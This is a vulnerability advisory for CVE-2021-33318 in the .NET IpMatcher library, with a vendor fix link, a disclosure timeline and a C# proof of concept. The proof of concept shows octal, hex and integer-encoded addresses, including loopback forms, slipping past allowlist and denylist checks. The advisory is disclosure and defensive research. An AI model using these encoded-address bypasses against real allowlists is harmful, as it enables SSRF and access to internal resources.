Title
CVE-2021-33318 IpMatcher v1.0.4.1 and below for .NET Core 2.0 and .NET Framework 4.5.2. incorrectly validates octal & hexadecimal input data, leading to indeterminate SSRF, LFI, RFI, and DoS vectors.
CVE ID
CVE-2021-33318
CVSS Score
Pending
Internal IDs
SICK-2021-060
Vendor
IpMatcher project https://github.com/jchristn/IpMatcher
Product
IpMatcher v1.0.4.1 for .NET Core 2.0 and .NET Framework 4.5.2.
Product Versions
v1.0.4.1 and below
Vulnerability Details
A vulnerability in the .NET C# IpMatcher v1.0.4.1 and below NuGet package allows an attacker to submit invalid octal or hexadecimal IP addresses and netmasks, since IpMatcher does not properly validate them against the internal “Matcher” match list of IP addresses and subnets. Further, IpMatcher does not correctly reformat additions to the match list when these additions (IP address or netmask or both) are supplied in octal or hexadecimal notation. A remote, unauthenticated attacker can bypass allowlist or denylist validation based on use of IpMatcher as exemplified by WatsonWebserver, resulting in indeterminate SSRF, LFI, RFI, or DoS.
Vendor Response
Fixed in https://github.com/jchristn/IpMatcher/commit/81d77c2f33aa912dbd032b34b9e184fc6e041d89
Proof of Concept
Affected products
- https://github.com/jchristn/WatsonWebserver
- https://github.com/jchristn/HttpServerLite
/* Author: Kelly Kaoudis
* License: GPLv3
*
* Requires:
* `dotnet add package IpMatcher --version 1.0.4.1`
*
* To run:
* `dotnet run`
*/
using System;
using IpMatcher;
namespace dotnet
{
class PoC
{
private static void checkExists(Matcher matcher, string ip, string mask)
{
if (matcher.Exists(ip, mask))
{
Console.WriteLine("matches on " + ip + " / " + mask);
}
else
{
Console.WriteLine("DOES NOT match on " + ip + " / " + mask);
}
}
private static void checkMatchExists(Matcher matcher, string ip)
{
if (matcher.MatchExists(ip))
{
Console.WriteLine("matches on " + ip);
}
else
{
Console.WriteLine("DOES NOT match on " + ip);
}
}
private static void dumpMatcher(Matcher matcher)
{
Console.WriteLine("\nWhat is actually in the matcher now (if nothing follows on the next line, nothing)?");
foreach (string addr in matcher.All())
{
Console.WriteLine("address from matcher: " + addr);
}
Console.WriteLine("");
}
static void Main(string[] args)
{
Console.WriteLine("Constructing a new IpMatcher#Matcher...");
Matcher matcher = new Matcher();
// nothing in the matcher yet
dumpMatcher(matcher);
Console.WriteLine("adding 192.31.196.0 / 0.0.0.0 (mask)");
matcher.Add("192.31.196.0", "0.0.0.0");
// contains 0.0.0.0 / 0.0.0.0 (incorrect)
dumpMatcher(matcher);
checkExists(matcher, "192.31.196.2", "0.0.0.0");
checkExists(matcher, "192.31.196.1", "0.0.0.0");
checkExists(matcher, "192.31.196.0", "0.0.0.0"); // should match but does not
checkExists(matcher, "0.0.0.0", "255.0.0.0"); //should not match
checkExists(matcher, "0.0.0.0", "0.0.0.0");
checkMatchExists(matcher, "0.0.0.0");
checkMatchExists(matcher, "192.31.196.0");
checkMatchExists(matcher, "192.31.196.1");
//checkMatchExists(matcher, "0192.031.0196.0"); throws parse exception and not sure why
checkMatchExists(matcher, "0300.037.0304.0"); // octal for 192.31.196.0
checkMatchExists(matcher, "0300.037.0304.01");
checkMatchExists(matcher, "0300.036.0304.0"); // should not match but does
checkMatchExists(matcher, "0100.0100.0100.0100"); // should not match but does
// checkMatchExists(matcher, "aaaaaaaaaa"); thankfully results in exception
// results in invalid argument exception
// if (matcher.MatchExists("0192.031.0196.02"))
// {
// Console.WriteLine("gross! matches 0192.031.0196.02");
// }
Console.WriteLine("adding 192.168.0.0 / 255.0.0.0 (mask)");
matcher.Add("192.168.0.0", "255.0.0.0");
checkExists(matcher, "192.167.0.1", "255.0.0.0");
checkExists(matcher, "192.168.0.0", "255.0.0.0");
checkExists(matcher, "192.168.1.1", "255.0.0.0");
checkMatchExists(matcher, "172.13.2.15");
checkMatchExists(matcher, "010.1.1.1");
checkMatchExists(matcher, "4.4.4.4");
Console.WriteLine("adding 0300.055.0250.0 / 1.1.0.0 (mask)");
matcher.Add("0300.055.0250.0", "1.1.0.0");
checkExists(matcher, "192.45.168.0", "1.1.0.0");
checkExists(matcher, "0300.055.0250.0", "0.0.0.0");
checkExists(matcher, "0300.055.0250.0300", "1.1.0.0");
checkExists(matcher, "0288.055.0250.0", "1.1.0.0");
checkMatchExists(matcher, "2130706433");
checkMatchExists(matcher, "017700000001");
checkMatchExists(matcher, "3232235521");
checkMatchExists(matcher, "3232235777");
checkMatchExists(matcher, "0x7f.0x00.0x00.0x01");
checkMatchExists(matcher, "0xc0.0xa8.0x00.0x14");
Console.WriteLine("adding 0300.055.0250.0 / 0377.0.0.0 (mask)");
matcher.Add("0300.055.0250.0", "0377.0.0.0");
Console.WriteLine("adding 0250.0300.010.010 / 0.0.0.0 (mask)");
matcher.Add("0250.0300.010.010", "0.0.0.0");
Console.WriteLine("adding 0250.0300.010.010 / 010.010.010.0 (mask)");
matcher.Add("0250.0300.010.010", "010.010.010.0");
// anything ending in 8 or 9 doesn't work
Console.WriteLine("adding 0172.057.0.0 / 0.0.0.0 (mask)");
matcher.Add("0172.057.0.0", "0.0.0.0");
Console.WriteLine("adding 0172.057.0.0 / 055.055.013.0 (mask)");
matcher.Add("0172.057.0.0", "055.055.013.0");
// matcher.Add("08.09.0.0", "01.01.01.0"); fails as it should
Console.WriteLine("adding 010.010.0172.0 / 0.0.0.0 (mask)");
matcher.Add("010.010.0172.0", "0.0.0.0");
Console.WriteLine("adding 010.010.0172.0 / 01.01.01.01 (mask)");
matcher.Add("010.010.0172.0", "01.01.01.01");
Console.WriteLine("adding 010.010.0172.0 / 010.010.0172.010 (mask)");
matcher.Add("010.010.0172.0", "010.010.0172.010");
Console.WriteLine("adding 010.010.0172.0 / 010.010.0.010 (mask)");
matcher.Add("010.010.0172.0", "010.010.0.010");
Console.WriteLine("adding 010.010.0172.0 / 010.010.0.010 (mask)");
matcher.Add("010.010.0172.0", "010.010.0255.010");
Console.WriteLine("adding 0xaa.0xaa.0xaa.0xaa / 0xaa.0xfe.0xfe.0xfe (mask)");
matcher.Add("0xaa.0xaa.0xaa.0xaa", "0xfe.0xfe.0xfe.0xfe");
// fails with exception as it should as 0xfff is tooooo biggggg
// matcher.Add("0xfff.0xfff.0xfff.0x0", "0x0.0x0.0x0.0x0");
Console.WriteLine("adding 0xf0.0x0.0x0.0x0 / 0xff.0x0.0x0.0x0 (mask)");
matcher.Add("0xf0.0x0.0x0.0x0", "0xff.0x0.0x0.0x0");
// now contains the following:
// 0.0.0.0/0.0.0.0
// 192.0.0.0/255.0.0.0
// 0.1.0.0/1.1.0.0
// 192.0.0.0/0377.0.0.0
// 8.0.8.0/010.010.010.0
// 40.45.0.0/055.055.013.0
// 8.8.122.0/010.010.0172.010
// 8.8.0.0/010.010.0.010
// 8.8.40.0/010.010.0255.010
// 170.170.170.170/0xfe.0xfe.0xfe.0xfe
// 240.0.0.0/0xff.0x0.0x0.0x0
dumpMatcher(matcher);
}
}
}Disclosure Timeline
- 2021-05-06 – Researchers discovers vulnerability
- 2021-05-11 – CVE requested, vendor notified
- 2021-08-18 – Vendor patched vulnerability
- 2022-05-15 – Advisory published
Links
https://github.com/kaoudis/advisories/blob/main/0-2021.md
https://github.com/jchristn/IpMatcher
https://github.com/jchristn/IpMatcher/commit/81d77c2f33aa912dbd032b34b9e184fc6e041d89
https://github.com/jchristn/WatsonWebserver
https://github.com/jchristn/HttpServerLite
https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-060.md
https://sick.codes/sick-2021-060
Researchers
- Harold Hunt https://github.com/huntharo
- Kelly Kaoudis https://github.com/kaoudis || https://twitter.com/kaoudis
- John Jackson https://twitter.com/johnjhacking || https://github.com/johnjhacking
- Victor Viale https://github.com/koroeskohr || https://twitter.com/koroeskohr
- Nick Sahler https://github.com/nicksahler || https://twitter.com/tensor_bodega
- Cheng Xu https://github.com/xu-cheng
- Sick Codes https://github.com/sickcodes || https://twitter.com/sickcodes
CVE Links
https://sick.codes/sick-2021-060
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33318
